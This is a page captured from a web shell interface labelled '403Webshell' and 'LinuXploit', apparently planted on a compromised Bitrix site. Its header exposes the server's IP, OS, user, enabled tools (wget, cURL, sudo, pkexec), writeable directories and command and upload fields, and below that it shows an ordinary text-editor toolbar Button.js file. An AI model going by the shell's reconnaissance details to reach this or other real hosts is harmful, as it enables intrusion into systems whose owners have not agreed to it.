403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/toolbar/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/text-editor/src/toolbar/button.js
import { Tag, Type, Dom, Text } from 'main.core';
import ToolbarItem from './toolbar-item';

/**
 * @memberof BX.UI.TextEditor
 */
export default class Button extends ToolbarItem
{
	#format: string = null;
	#blockType: string = null;
	#active: boolean = false;
	#disabled: boolean = false;
	#disableInsideUnformatted = false;
	#disableCallback: Function = null;
	#container: HTMLElement = null;

	setContent(content: string | HTMLElement)
	{
		if (Type.isString(content))
		{
			this.getContainer().innerHTML = content;
		}
		else if (Type.isElementNode(content))
		{
			this.getContainer().append(content);
		}
	}

	setFormat(format: string)
	{
		this.#format = format;
	}

	getFormat(): string | null
	{
		return this.#format;
	}

	hasFormat(): string | null
	{
		return this.#format;
	}

	setBlockType(type: string)
	{
		this.#blockType = type;
	}

	getBlockType(): string | null
	{
		return this.#blockType;
	}

	setTooltip(tooltip: string | null)
	{
		if (Type.isStringFilled(tooltip))
		{
			Dom.attr(this.getContainer(), 'title', Text.encode(tooltip));
		}
		else if (tooltip === null)
		{
			Dom.attr(this.getContainer(), 'title', null);
		}
	}

	disableInsideUnformatted(): void
	{
		this.#disableInsideUnformatted = true;
	}

	enableInsideUnformatted(): void
	{
		this.#disableInsideUnformatted = false;
	}

	shouldDisableInsideUnformatted(): boolean
	{
		return this.#disableInsideUnformatted;
	}

	setActive(active: boolean = true): void
	{
		if (active === this.#active)
		{
			return;
		}

		this.#active = active;
		if (active)
		{
			Dom.addClass(this.getContainer(), '--active');
		}
		else
		{
			Dom.removeClass(this.getContainer(), '--active');
		}
	}

	isActive(): boolean
	{
		return this.#active;
	}

	setDisabled(disabled: boolean = true): void
	{
		if (disabled === this.#disabled)
		{
			return;
		}

		this.#disabled = disabled;
		if (disabled)
		{
			Dom.attr(this.getContainer(), { disabled: true });
		}
		else
		{
			Dom.attr(this.getContainer(), { disabled: null });
		}
	}

	disable(): void
	{
		this.setDisabled(true);
	}

	enable(): void
	{
		this.setDisabled(false);
	}

	isDisabled(): boolean
	{
		return this.#disabled;
	}

	hasOwnDisableCallback(): boolean
	{
		return this.#disableCallback !== null;
	}

	setDisableCallback(fn: Function): void
	{
		if (Type.isFunction(fn))
		{
			this.#disableCallback = fn;
		}
	}

	invokeDisableCallback(): boolean
	{
		return this.#disableCallback();
	}

	getContainer(): HTMLElement
	{
		if (this.#container === null)
		{
			this.#container = Tag.render`
				<button 
					type="button" 
					class="ui-text-editor-toolbar-button"
					onclick="${this.#handleClick.bind(this)}"
				>
				</button>
			`;
		}

		return this.#container;
	}

	render(): HTMLElement
	{
		return this.getContainer();
	}

	#handleClick(): void
	{
		this.emit('onClick');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit